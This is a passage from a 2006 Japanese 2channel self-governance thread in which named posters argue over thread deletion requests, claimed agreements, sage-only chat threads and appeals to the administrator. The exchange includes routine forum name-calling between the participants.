お互いに忙しい日もあるだろうから、そんな日は勘弁だがw

>>107
>どんなものでも議論になれば「おまえはこう言ってただろ?」と
>人物が主語になるのは当たり前。
自治スレにおいてお前がこう主張していたとか俺がああ主張していたなんてのは
まったくもって役に立たないわけだが。
このスレはこうであるからどうだとかあのスレはこうであるからそうだと
そういった議論が交わされるのが普通。

>というか、おまえの脳内って丸わかりなんだよ。
また脳内(ry

131 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:56:20 ID:+I8w50ag
>>108
>その数が遥かに超えている
すなわち多いってことだろ。dat落ちしたもの(板違い)含めて
多い!って主張はちょっと変。
さらに言えば全然ガイドライン違反でもないものもあるし・・・

>雑談を理由にだぞ?おい
物によってはガイドライン違反に該当するものもあるから
削除依頼してるが?

>だから?
だから?といわれてもねぇw

>は?
>これで何か反論になってるか?
おまいの質問に忠実に答えただけだが?w

132 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:57:37 ID:+I8w50ag
>>109
>それ以前にシリーズスレだろが、既に最低1スレは消費してるわけ。
http://tmp6.2ch.net/test/read.cgi/asia/1141041412/
このスレとかおまいがリストに混ぜてるが、VIPの誤爆スレなんだけど。
それが極東板のシリーズスレか。参ったねこりゃ。

>はあ?じゃあ何なの?検証ってのは?
>おまえの中の「つもり」にもならない検証なんてどういう意味があるんだ?
>単に無駄なことをしたと言い出すのか?
>それと、「最初から、削除依頼してこい」とこれとは別だろが。
何度となく繰り返しになるが、
検証しました→結果が出ました→さぁどうするの?
わしらは削除対象からはずしてもおまいが削除依頼したら別に削除対象から外れないだろ。
だから、最初から削除対象だと思うなら削除依頼してこいってずーーーーーっと言ってるんだけど。

>この矛盾はどうすんの?
検証しました→結果が出ました→さぁどうするの?
同じこと何回も言わせて楽しい?

>>110
>で、>>70の本来の論旨である「自治スレを削除しても何も解決しない」はスルーか?
現状で何も解決してない状況において自治スレ不要論の根強い極東板において
削除しても何も解決しないというよりはあってもなくても変わらないなんだが。

>このシリーズが不当とするスレ削除と、これのどれかが不適切(何日目かが)である
スレタイと>>1のテンプレが一緒なら同じですけど。

>ふざけるな。3はしただろが(ごく)。
あのさーおまいがしたかどうかの話なんだけど・・・・
解決させようとしている人であるおまいが解決策として3を講じたのかという事。
他人がやりました→3はやった→おまい自身がやってるわけじゃないだろ。

133 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 00:59:36 ID:+I8w50ag
>>111
>普通の雑談スレでもこれだが、公的性格があるスレ
>「ニュース極東板暫定自治スレ」
>これなら、どうだ?
>誰かが荒らしまくれば、極東板では自治スレ禁止になるのか?
おまいさーレス削除って方法知らんの?
立派な削除依頼だぞ?
百篇でも二百篇でも言ってやる。前に示した運営系4板読んだことあるのかと。

>>112
>SAGE原理主義の話でも言ったように、SAGE進行の雑談スレと
>特に規定のない雑談スレが2chにはあって、どちらも特にガイドライン違反になってない。
>そこで、「スレの使い方がまずい(排他的)」と言われ、
ガイドライン違反でないものは問題がなく、排他的はガイドライン3違反だろ。

>だって、相手が「このスレは公益にかなってる」と言ってるのに、
>「削除要請しにいけ」なんて、面と向かって言えるか?
ガイドライン違反を主張するやつには言えるけど?

>>113
何度も書いてるが、おまいはこの時点で↓何に合意してたわけ?
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/908

スレを立てることに合意したとか言うんだろうけど、
ごくとうがそのスレを立てた目的が検証だろ?
検証という目的を持っているスレを立てることに合意したってことになるだろ。
あとのレスで検証を批判しているって書いているが、
だったら、スレ立て自体に合意なんか出来ないだろ。
おまいにとって都合のいい解釈での合意なんだろ?

もしそうでないなら、ごくとうとの間に合意なんてない。それを合意を反故にしたって
言うくらいなんだから、ごくとうとの間に何らかの合意があったわけだろ。

134 :同期の桜@極東 ◆DoukiJieKQ :2006/03/28(火) 01:02:51 ID:+I8w50ag
>>117
お花見で酔ってなかったですか?
間違ったことで警察に電話すると迷惑になっちゃいます。(都市伝説とかね)

まぁ、もし本当にそういうことであるなら警視庁にメールなり電話なり
してみてはいかがでしょうか。

ただ、人物の特定が出来ないと話にならんのですけどね。

135 :日出づる処の名無し:2006/03/28(火) 15:05:27 ID:ZxD+TCq0
船虫の動画発見
ttp://flashrar.hp.infoseek.co.jp/Flash/boshiteck.html

136 :船虫Jr ◆.Tg2yBtH66 :2006/03/29(水) 21:33:47 ID:atBn3EAk
前半は、>>113で言った無意味なループレスだから省略。

>>119
>わしが言ってなくても同調しているってのはその意見に調子を合わせてるってことだろ。
>わしは最初から言ってるわけで同調して言ってるわけじゃないんだけど。

ーーーーーーーーーーーーーーー
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/32
>立てたスレには全面的に責任負うから客観的に判断してくれるところへ
>判断を仰ぎに行ってこいってこと。話はそれからだ。
>>67 名前: バク ◆Zseml6E7q6
>自称「自治厨」の同期タンや、自治いらない派の私が一致した
>意見があるんだが・・・w
>それは、「管理人や運営側の意向には従う」って意見。
>3月31日までに蟲ちゃんが運営側のお墨付きを貰ってこない時点で、
>4月1日にこのスレを削除依頼するから。

おまえ、何が言いたいわけ?
まさか、自分がさんざん言ってきたこれ(↑)を否定すんの?
ーーーーーーーーーーーーー
これは、おまえがレス先にしてる>>88
オレが問題にしてるのは、上記。

・運営逝くという選択肢がある(排他性ない。議論排除にはならない)
・運営逝け。話はそれからだ(排他性ある。議論排除になる)

137 :船虫Jr ◆.Tg2yBtH66 :2006/03/29(水) 21:34:16 ID:atBn3EAk
前々スレを読む限り、排他性を臭わせてきたのは「バク が先」。
少なくとも、前々スレの300番代では、おまえの反論がなく、
バク がこれを強調していた。
とはいえ、オレは、おまえがバクのような排他性な主張をしていたかを問題にしてるのであって
どちらが、どちらに同調していたのかなんてことは二の次。
不満なら、>>3の7を「これに同調し、既に言っていた発言をあらためて繰り返す」に直してもいいよ。
で、だから何?

・運営逝け。話はそれからだ(排他性ある。議論排除になる)

ということを言ってたんだろ?
「同調」なんてことに拘って、論点をすり替えるなっての。
ちゃんと答えろ。

138 :船虫Jr ◆.Tg2yBtH66 :2006/03/29(水) 21:34:41 ID:atBn3EAk
>>120 名前: 同期の桜@極東 ◆DoukiJieKQ
>>だから、>>57-58。これに「一応解決」の意味がどういうものか書いてあるだろが。
>>同じことを繰り返させるな。
>だからーオレの中で基準満たしたからOKで一応解決ってしたら、(要するにオレ的解決)
>わしの中で「運営からこの3ヶ月間で何にも言われてないのでOK」ってことで一応解決!ってしても
>問題がなくなっちゃうがそれでいいのか?と。

おまえくどいな。いいか。問題的してるのはオレ。
その提起内容はスレに書いてある。さらにクリア条件も明記されてる。
「オレの中で」じゃなくて、スレで問題になってる案件について、
「クリア条件を満たす出来事が起きた」。
これは客観的な解決だろ?
そして、同時に客観的に最終解決ではなく「一応」の解決だ。

1、「ここに問題があって、解決条件は○○だ」
2、○○が起きる。
3、「一応解決」

↑これと、

1、A「ここに問題があって、解決条件は○○だ」
2、B「運営からこの3ヶ月間で何にも言われてないのでOK」
3、A「はあ?何それ?そんなのダメだよ」
4、三ヶ月経過
5、B「一応解決」

↑これはぜんぜん違う。
前者は、現に提示された問題が一応ではあるが無くなった。
後者は、現に提示された問題が無くなったわけじゃない。
ただBが「解決した(無くなった)」と言い張ってるだけ。

139 :船虫Jr ◆.Tg2yBtH66 :2006/03/29(水) 21:35:04 ID:atBn3EAk
>>120 名前: 同期の桜@極東 ◆DoukiJieKQ
>おまい自身が結果が出ること自体を否定してるわけだから
>相手が何を意味してるのかぐらいはわかってるはずだが。
>それなのに意味不明とか言い出してるって事よ。別に意味不明なことでもなんでもないんだが。

すっげーヤツだな。ここで焦点になってる13ってのは

13、運営逝きを主張してたヤツ(桜)が、「結果→待てばよい」などと意味不明なことを言い出す。
  http://tmp6.2ch.net/test/read.cgi/asia/1128258920/615
  http://tmp6.2ch.net/test/read.cgi/asia/1128258920/607
  後にこれが、桜による独断(スレ立て)の“複線”のつもりだったことが判明(>>132)。

これだぞ?
意味不明は「当時」のことで、「その前のレスからは意味不明」ことだろが。
しかも、複線だったと言ってるんだから、おまえがどういう意味を持たせていた(そのつもりだった)のかは
後に分かってるっての。
オレが、おまえの「複線→結果出た」を指して、「そんなのダメだよ」と“後に”
言ったからって何なの?

おまえ、この件は前スレの「明からさまな嘘(>>5の20)」
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/365
  →http://tmp6.2ch.net/test/read.cgi/asia/1139574674/371
なんだが、いまだに嘘を吐き続けるわけ。
このリンク先でも言ってるように、おまえ自身が

http://tmp6.2ch.net/test/read.cgi/asia/1128258920/620 名前: 同期の桜@極東 ◆DoukiJieKQ
>船虫Jrはたぶん結果の意味を勘違いしてるので

と、意味が通じてない旨を表明してんだぞ?
しかも、リンク先にもあるように、オレは明確に拒絶してる。

140 :船虫Jr ◆.Tg2yBtH66 :2006/03/29(水) 21:36:11 ID:atBn3EAk
>>4-5 内容を会話風に、

1、船「{ごくとうの『必要かどうか見てみたい(桜が後に言うテスト)』に対して}、
    自作自演か?」と懸念を表明する。また、直後のレスで、「意味無い」と明言。←テストを拒絶してる。  
2、桜「待てばよい?」←当時(前レスまでの情報からは)意味不明。(実はテストのことだった)
3、船「待てばいいんだな?」←反論だと思ってる。
4、桜「船虫Jrはたぶん結果の意味を勘違いしてるので」←反論じゃない(船虫は勘違いしてる)と表明。
5、船「元祖スレについては『現在問題になってる』ので、待てばいいなんて頓珍漢」←待てばいいを拒絶。

これでさー。おまえ(同期の桜@極東 ◆DoukiJieKQ )は「船虫は検証に合意した」と言い張ってるわけだが、
いったいどうすりゃ、合意してたことになるわけ?(>>7)。

現にやってる議論の主論点は、「同期の桜@極東がこれ(検証に合意した)を根拠に、スレ立てを正当化してる」ってことだぞ?
>>2で言う「スレの議論を一方的に反故にする行為を行ったこと」ってのはこれ。
そして、これに関連して、

・運営逝け。話はそれからだ(排他性ある。議論排除になる)

ってのがある。
盲目的に目の前のスレにアホな言い逃れを書き込んでないで、
根本的な論点の解決を目指したレスをしろよ。
で、全てを同時にやるのは、議論が発散するだけだから、

A: 同期の桜@極東 ◆DoukiJieKQ が「船虫は検証に合意した」と言い張ってる件。

に集中したらどうか?と言ってるわけ(>>113)。
現物ベースにして「ほらみろ。合意してた」とやればすむことだからな。
何でしないの?
議論を拡散させたいわけ?

というわけで、議論の拡散を防ぐために、この後のレスは中断(後にやる)。
以下、関連しそうな点をいくつか。

141 :船虫Jr ◆.Tg2yBtH66 :2006/03/29(水) 21:36:44 ID:atBn3EAk
>>122 名前: 同期の桜@極東 ◆DoukiJieKQ
>ほかにも散々書いてるけども大きい例だけ挙げておくわ。
>http://tmp6.2ch.net/test/read.cgi/asia/1139574674/348
>http://tmp6.2ch.net/test/read.cgi/asia/1139574674/403
>http://tmp6.2ch.net/test/read.cgi/asia/1139574674/467
>オレとごくとうで合意したって書いてあるわけだろ。
>おまいとごくとうに共通意識がないのであれば合意というものはそもそも出来ない。
>ごくとうは検証のため(これは元祖スレにも書いてある)
>おまいはスレが立てばそれでいい。

あのなー。

・おまえのレスは、「オレの発言」の“現物”ではない。おまえの解釈。
・オレはそれらのレスに対して現物をあげて、
 「スレ立てには合意したが、テストには合意してない」
 ときちんと説明してる。(そのレス番でスレを検索せよ。例えば。
 http://tmp6.2ch.net/test/read.cgi/asia/1139574674/482
・>ごくとうは検証のため(これは元祖スレにも書いてある)
 >おまいはスレが立てばそれでいい。
 これで、どうして「検証にも合意」になわけ?

まったく相変わらず無茶苦茶だな。

142 :船虫Jr ◆.Tg2yBtH66 :2006/03/29(水) 21:37:05 ID:atBn3EAk
>>122 名前: 同期の桜@極東 ◆DoukiJieKQ
>>92
>http://tmp6.2ch.net/test/read.cgi/asia/1139574674/407
>解決することを永久に繰り返してるのはおまいだろ。

おまえさー。おまえ自身が特になって貼ってるおまえのレスで、
ループはどっち?
おまえが解決と言ってるもの=オレが折れること。
オレが折れないとループって何?

・折れずに追求し続ける≠ループ

これくらいマジで分からないの?
いったいどういう脳味噌してる?

このへんなんか、もう自明すぎてこれ以上自明な説明などできないよな。

143 :船虫Jr ◆.Tg2yBtH66 :2006/03/29(水) 21:37:31 ID:atBn3EAk
普通なら、

ーーーーーーーーーーーーーーーーーーー
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/407 名前: 同期の桜@極東 ◆DoukiJieKQ
桜:「邪魔になるのでsage進行」
船:「その通り。邪魔だから、SAGE進行自体は正しい。
  しかし、だからといって、公共性のあるスレを排他的するのは問題有り。
  スレ住人達がよっぽど気を遣ってカキコするか、
  常時SAGEルールをやめる(通常はSAGEでいい)のが妥当」
桜:「邪魔になるのでsage進行」
------------------------------------------------------------------
船:「じゃあ、オレが勝手に定期的に上げるが問題はないのか?」
桜:「別に問題ないが?」
船:「じゃー定期的に上げるからな」

これで終わりだろ。ループさせてるのはどっちだよ。
ーーーーーーーーーーーーーーーーーーー

これをコピペするだけで、同期の桜@極東 ◆DoukiJieKQ のアホが晒せるぞ?
どうすんの?これ?
まだ、ウダウダ言い逃れする?
「ループレスに対して折れない船虫がループだ」なんて?
これくらい認めたらどうだ?
少なくとも、おまえの指摘の仕方(用語法)は間違ってる。
こんなアホを晒してるから、「わざとアホを書いて誤魔化してる」と
オレに推測されちゃうんだぞ?
分かってる?

144 :船虫Jr ◆.Tg2yBtH66 :2006/03/29(水) 21:51:52 ID:atBn3EAk
今日のレスは、>>113を引き継ぎ、
A: 同期の桜@極東 ◆DoukiJieKQ が「船虫は検証に合意した」と言い張ってる件。
に集中している(>>140)。
とにかく、これが現物ベースで解決すれば、“一応”、オレとしては
本題(前回の後半)について議論するに足りる。
>>140で言ってるように、大きな論題は「同期の桜@極東 ◆DoukiJieKQ 」のスレ立て行為と
とそれにまつわる自治議論否定なわけだが、検証なるものが正しい、少なくとも
まがいなりにも正しく行われ(反対者も納得してる)というのなら、
別に独断だとか非難することもなくなるし、ちゃんとやってるなら、
「ウダウダ言うな」も結構だろう。
だが、合意してないものを合意したと決め付けて事を運ぶなんてヤクザまがいのやり方は
見過ごせないし、それで自治議論を否定(拒絶)するなどもってのほか。

しかも、「合意してるかどうか」はスレ(現物)出せばすむ話だから、
これくらいのことを決着付けられないようでは、他の微妙な自治議論など
「高望み」でしかない。

というわけで、>>140を中心に、前後を踏まえて「A」への論証(反論)をよろしく
>>同期の桜@極東 ◆DoukiJieKQ

145 :バク ◆Zseml6E7q6 :2006/03/30(木) 06:15:26 ID:GDXxOmd+
解決策を書き込んであげていたにもかかわらず、一つの問題を
だらだら4ヶ月も続けていて、かつコテ叩き化していて2chのお約束
を破っている現状では、このスレを削除依頼して終わらすしかないな。

結局の所、蟲ちゃんは、雑談スレが排他的に使われていて、
2chのガイドライン違反だって他の人たちに論理的に証明出来なかった
から続けているだけだろ?

1〜2週間ウダウダ文句を書き込み続けるんなら、しょうがないかなw
ってなるが、4ヶ月もやっているんじゃアホですなw

蟲ちゃんがやらなければいけないこと。

現状を変えたい香具師が、管理人若しくは運営側のお墨付きを貰ってくる。

これだけなんだが、出来ないのか?

さあ、私が予告した削除依頼まで後二日。
同期タンがかまわなくなるまで後二日。
蟲ちゃんがアホアホ確定まで後二日。

早く行動世路w



146 :バク ◆Zseml6E7q6 :2006/03/30(木) 06:29:49 ID:GDXxOmd+
とりあえず、脳内妄想しか垂れ流せない蟲ちゃんのために、
該当部分(290番台〜300番台の私のレス)をコピペしておいてやるよw

ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/290

> 290 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/08(木) 20:17:12 ID:rynkzHUQ
> >>288 
> 蟲ちゃんはガイドラインを斜め読みしかしていないから、 
> 頓珍漢な書き込みをしているわけで・・・w 
> 
> 蟲ちゃんさあ〜 
> 
> > http://www.2ch.net/2ch.html 
> > その他の掲示板でも、雑談スレッドは2〜3個まで考慮します。 
> 
> ガイドラインに↑の様な文面があるんだが・・・w 
> 
> で、極東板で雑談って看板を出している雑談スレで、常時生きているのが 
> 一つ。その他に雑談化しているスレの中で、運営側が極東板に立てるよう 
> に命じているのが「北朝鮮総合スレ」。 
> 
> 運営側からすれば、別に目くじら立てるほどのことではないみたいだね。 
> 
> あと、勘違いしないほうが良いが、2chは「管理人ひろゆき」の物だから、 
> 大家さんであるひろゆきの意向が絶対なんだな。ひろゆきの意向に反対 
> ならば利用しなければよいだけだから。 
> 
> ただ、ひろゆきは、他人の意見・要望を聞かないって言っている訳では無いから、 
> 意見があるなら 2ch@2ch.net にメールすれば良いだけ。 
> 
> その代わり、ひろゆきにメールして無視されても泣くなよw  

147 :バク ◆Zseml6E7q6 :2006/03/30(木) 06:30:42 ID:GDXxOmd+
ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/293

> 293 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/09(金) 21:51:54 ID:4gbXM1Ii
> 蟲ちゃんメンゴメンゴw 
> 
> 3年ぐらい前に保存しておいた場所だからURL違っていたみたいねw 
> 
> 
> でもな、管理人であるひろゆきが黙認している現状で、 
> 蟲ちゃんがグダグダ言った所で何の解決にもなりません。 
> 
> 現状を変えてもらいたいなら、ひろゆきの所にメールすれば良いだけ。 
> 
> ひろゆきが蟲ちゃんの意見が尤もだって思えば2chのルールを変えるだろう。 
> 
> 
> ただ、今現在ひろゆきが現状を認めていて、それに対して一利用者である 
> 蟲ちゃんが文句を言うのっておかしくない? 
> 
> 蟲ちゃんが2chの現状を気に入らないなら、利用しなければ良いだけだが・・・w 
> 別にひろゆき的には、蟲ちゃんが利用しようが利用しまいが関係無いだろうからw 
> 
> 
> 所でひろゆきにはメールしたのか? 



148 :バク ◆Zseml6E7q6 :2006/03/30(木) 06:32:12 ID:GDXxOmd+
ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/294

> 294 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/10(土) 07:24:59 ID:J6fVgXvQ
> ついでにもう一つ書き込んでおくけど、 
> 
> > お約束・最低限のルールって?   
> >  
> >  他人に迷惑をかけるのはやめようということです。。。 
> > 
> >  必要以上の馴れ合いは慎しむとか、暴言や第三者を不快にする書き込みはしないとか、 
> > 悪質な削除要請や自己中心的な発言はひかえるとか、どれもむずかしくないことなんだ 
> > けどなぁ。 
> >  また、一般人の誹謗中傷・私生活情報暴露は禁止します。固定ハンドルさんを叩く行為 
> > も、最悪板以外の場所では禁止してます。 
> > 
> >  詳しい禁止事項は削除ガイドラインをみてくださいです。。。   
> 
> 雑談スレは一部コテやグループのみ利用しろって書いていない訳だから、 
> ある一部の人間が書き込みにくいからって言ったって、あるグループが占 
> 有しているって主張はお門違い。別に誰が書き込んでも無問題。 
> 
> ただし、そのレスに対して無視するなと言う強制力は無い。 
> 
> このスレみたいに蟲ちゃんが占有を主張する方のが不味いんだよね。 
> 
> あと、自分に余裕が無いから「ハゲ」等の暴言を書き込んでいるんだろうけど、 
> 自治スレに書き込むんなら最低限暴言吐かないで書き込もうね。 
> 
> まっ、日本語が母国語じゃない船虫ちゃんには無理かも知れんけど。 
> 
> PS.ひろゆきへのメールはやったか?   

149 :バク ◆Zseml6E7q6 :2006/03/30(木) 06:33:40 ID:GDXxOmd+
ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/l50

> 304 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/12(月) 07:40:18 ID:Y/lA/wNt
> 今現在忙しいから簡単にw 
> 
> 蟲ちゃんみたいな幼稚な脳ミソの人とは違って、別に意見が 
> 違う人間が雑談で馴れ合っていた所で無問題だと思うが。 
> 
> 日本の場合宗教や思想が違う人間同士だって近所付き合い 
> しているわけだし、別に雑談でうちらと馴れ合っていた所で、 
> 蟲ちゃんの人格を疑うなんて低レベルの人間は少ないはずだが。 
> 
> まっ、もちろん私含めてニュー極の住人は蟲ちゃんが低レベルの 
> 人間だという事は、皆が認めていることだから安心していいから。 
> 
> ただし、雑談スレにカキコし始めても、レスし返すのは個人の自由 
> だからレスなくても泣かない様にw 
> 
> その辺りは個人の自由だからなw 
> 
> 
> 
> そういう様な状況が嫌なら管理人(大家)であるひろゆきに言えって事。 
> 
> それを出来ないチキンには何も2chに対して文句を言う権利はない。 


150 :日出づる処の名無し:2006/03/30(木) 06:44:54 ID:22L4ASou
虫って馬鹿

151 :バク ◆Zseml6E7q6 :2006/03/30(木) 06:48:50 ID:GDXxOmd+
ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/304

> 305 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/12(月) 07:40:27 ID:Y/lA/wNt
> >>302 
> 
> これから忙しくなるんですよw 
> 


> それはさておき、久しぶりにひろゆきに悪戯メール(定期便)でも 
> すっかなw 




152 :バク ◆Zseml6E7q6 :2006/03/30(木) 06:49:21 ID:GDXxOmd+
ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/312

> 312 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/14(水) 13:43:10 ID:jf1bK9aq
> 現状は、蟲ちゃんが日本語が理解できないことが問題だって 
> 事だねえ。 
> 
> 擬古さんだって 
> 
> 「AAで刺されているけど無視はされていない」 
> 
> からなw 
> 
> 普通、排他的な所なら書き込めないだろうが・・・w 
> 
> 書き込んでいる現状がある以上、蟲ちゃんが文句を言う前提条件が 
> 全くないんだなw 
> 
> それはさておきチキンハートな蟲ちゃんw 
> ひろゆきにはメールしたのか? 
> 
> 蚤の脳ミソより小さい度胸だろうから、どうせ何だかんだ書き込んで 
> メールはしないだろうけどねえ〜。 
> 
> そのうち、名無しさんや他のコテの香具師にチキンって書かれるぞw 


153 :バク ◆Zseml6E7q6 :2006/03/30(木) 06:50:34 ID:GDXxOmd+
ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/326
> 326 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/16(金) 06:38:52 ID:MOV6vJJD
> 見解はちゃんと出しているじゃないw 
> 
> 1、大前提として蟲ちゃんの日本語の理解力が幼稚園児 
>   以下である。 
> 
> 2、2chはあくまで「管理人ひろゆき」の物。ひろゆきの 
>   意見に賛同できなければ利用しなくて無問題。  
> 2−1、ひろゆき自体、ガイドラインは暫定的なものであるって 
>     書き込んでいるし、ひろゆき自身の見解によって削除等 
>     の判断例が変わっている実情がある。 
> 2−2、判断例が色々変わっている関係上、迷った時には 
>     ひろゆきは「メールしてね」って書いている。さらに、 
>     迷った時には削除するなって書いている。 
> 
> 3、蟲ちゃんの書き込んでいる問題は、2年ぐらい前から 
>   削除議論の極東スレで問題になっている案件と似ており、 
>   ひろゆきの判断例や、削除人の行動等から判断すると、 
>   ほぼ無問題な物であり、蟲ちゃんのイチャモンでしかない。 
>   しいて言えば、見解1の蟲ちゃんの日本語の理解力が 
>   幼稚園児以下な事が、この件をループさせているw 
> 
> 以上の見解を私や同期タンはずっと示しており、分からないって 
> 書き込んでいる蟲ちゃんに対して、解決策として「ひろゆきにメール 
> してね」って書き込んでいるのに、チキンハートな蟲ちゃんは拒否 
> している。 
> 
> 一番簡単な解決策は「蟲ちゃんがひろゆきにメール」する事だよ。 
> チキンな蟲ちゃんには無理だろうけど・・・w 

154 :バク ◆Zseml6E7q6 :2006/03/30(木) 06:51:18 ID:GDXxOmd+
ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/342

> 342 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/17(土) 20:35:21 ID:BzLwmhMe
> > ◆◆◆ニュース極東板雑談スレ45◆◆◆ 
> > http://tmp5.2ch.net/test/read.cgi/asia/1130284295/770 
> > 
> > 770 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/04(日) 07:20:21 ID:Oitlycw3 
> > >>769  
> > つ【言論の自由】  
> >  
> > 自由に電波発言する権利はあるが、  
> > 電波発言に答えてやる義務は無い。  
> > 
> > 色々なスレに自由に書き込む権利はあるが、  
> > 書き込みを強制される義務は無い。  
> > 
> > コテに粘着してみる権利はあるかも知れんが、  
> > 粘着されてやる義務は無い。  
> > 度が過ぎれば(tbs  
> > 
> > 以上、スピリタステロに失敗し、二日酔いなのに会社な  
> > バクチャンからですたw  
> ↑は、一応蟲ちゃんが問題視している私のカキコだけど、蟲ちゃんの 
> イチャモンは、2ch利用者にしてみれば私のカキコの内容なんて、 
> 利用者の当然の権利を書いてあるだけなんだがねえ〜。 
> 
> カキコに対してレスが欲しいならば、お客さんを喜ばせるカキコをすれば 
> 良いだけだし、肯定的なレスが欲しいんならそれなりの工夫が必要。 
> 
> そう言う基本的な事が分かっていないから、頓珍漢なレスを蟲ちゃんは 
> しているわけだ。 

155 :バク ◆Zseml6E7q6 :2006/03/30(木) 07:20:53 ID:GDXxOmd+
ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/343

> 343 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/17(土) 20:36:01 ID:BzLwmhMe
> ついでに書き込むけど、内輪だけの内緒話をしたいなら、 
> 別に雑談スレを利用しなくても連絡は取れますが・・・。 
> 
> 此処までの件を纏めて問題点を挙げると、 
> 
> 蟲ちゃんの日本語の理解力が幼稚園児以下だから、 
> グダグダ文句言えるわけで・・・。 
> 
> 私や同期タンのカキコで納得できないなら、ひろゆきに 
> メールして聞いてみれば良い話であるのに、チキンハート 
> な蟲ちゃんはそれが出来ない。 
> 
> 
> 私や同期タンはちゃんと書き込んでいるし、最終的な解決策も 
> 教えてあげているんだから、解決策(ひろゆきにメール)が出来 
> ないなら文句を言うな。 


156 :バク ◆Zseml6E7q6 :2006/03/30(木) 07:21:27 ID:GDXxOmd+
ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/344

> 344 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/17(土) 20:37:36 ID:BzLwmhMe
> > 厨房上等!!所詮雑談、名無しも気楽に参加しる!!こわくないからさー   
> > でも、上げないように。   
> >   
> > ★鉄の掟   
> > @上げたら刺すー   
> > A荒氏、煽り上等!!   
> > Bレスが返らなくても泣かない   
> > CROMだけの奴も足跡ぐらい残せ馬鹿!!   
> > Dまたミリヲタか!!   
> > Eみんな仲良く汁!!   
> > F誤爆禁止   
> 
> ↑は、今の雑談スレの1だけど、別にコテ限定とも書いていないね。  
> レスが返らなくても泣かないって事があらかじめ注意されているように、  
> 書き込みは強要していない。  
> 
> つまり、雑談スレで蟲ちゃんや擬古ちゃんが無視されているような  
> 感じに見えるのは、唯単に該当する者が書き込んでいるレスが、  
> お客様(この場合は雑談スレを見ている人)の興味が湧くように  
> 書かれていない。  
> 
> 簡単に言えばつまんないんだよ。  
> 
> レスが欲しいならば、お客様のニーズに合うようにしないと。  


157 :バク ◆Zseml6E7q6 :2006/03/30(木) 07:24:14 ID:GDXxOmd+
ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/350

> 350 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/17(土) 22:17:33 ID:BzLwmhMe
> チキンハ〜トな蟲ちゃんw 
> 
> 大前提から言うとな、蟲ちゃんの日本語の読解力が無い事が 
> そもそもの原因だな。 
> 
> 別に雑談スレだろうが何所であろうが、興味があるカキコ以外に 
> レスなんか付けないと思うが・・・w 
> 
> 擬古ちゃんが雑談スレでスルーされたのは、擬古ちゃんの 
> カキコが面白みが全くなかったからであり、擬古ちゃんに対して 
> 完全にシカトをこいたり、スレから出て行けなんて書いていない。 
> 
> 逆に擬古ちゃんの方が、スレから出て行けって言う書き込みをしている。 
> 
> 
> 
> 簡単に書くと、擬古ちゃんと蟲ちゃんの精神年齢が幼稚園児以下だから 
> って言うような話だね。 
> 
> 
> どうしても極東板の現状を変えたいなら、「ひろゆきにメール」して、 
> 2ch管理人であるひろゆきを説得すれば良いだけの話。 
> 
> そんな簡単なことも出来ないチキンがブー垂れてるんじゃないよ。 


158 :バク ◆Zseml6E7q6 :2006/03/30(木) 07:25:56 ID:GDXxOmd+
ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/351

> 351 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/17(土) 22:40:34 ID:BzLwmhMe
> >>349 
> 
> 雑談がsage進行なのは、名無しさんから文句が来たってのも 
> あるんですわ。 
> 
> その辺りの経緯は最古参である「ごくとう」サンに聞いてね。 
> 
> 質問スレに関しては、昔はあった。 
> しかし、需要が無いから廃止した。 
> 
> 極東板のスレ・レスを削除依頼するためには下2つ 
> 
> asia:ニュース極東[スレッド削除] 
> http://qb5.2ch.net/test/read.cgi/saku/1085400725/l50 
> 
> asia:ニュース極東[レス削除] 
> http://qb5.2ch.net/test/read.cgi/saku/1027493276/l50 
> 
> に、理由を添えて書き込めば良い。 
> 
> 削除理由が正当な物であると判断されれば、削除人が削除する。 
> 
> 管理人ひろゆきは、2chにおいては神様である為、2chにおいては 
> ひろゆきの判断が何よりも優先される。 
> 
> またひろゆきは、質問を聞く耳だけは少なくても持っている。 
> (ただし、質問や要望を反映させるかどうかは、ひろゆき次第である) 


159 :バク ◆Zseml6E7q6 :2006/03/30(木) 07:28:00 ID:GDXxOmd+
ニュース極東板暫定自治スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/395

> 395 名前: バク ◆Zseml6E7q6 [sage] 投稿日: 2005/12/19(月) 23:09:04 ID:VmZbgavK
> 蟲ちゃんさあ〜、幼稚園児以下のダダゴネは止めようぜ。 
> 
> この際だから書き込んどいてあげるけど、 
> 
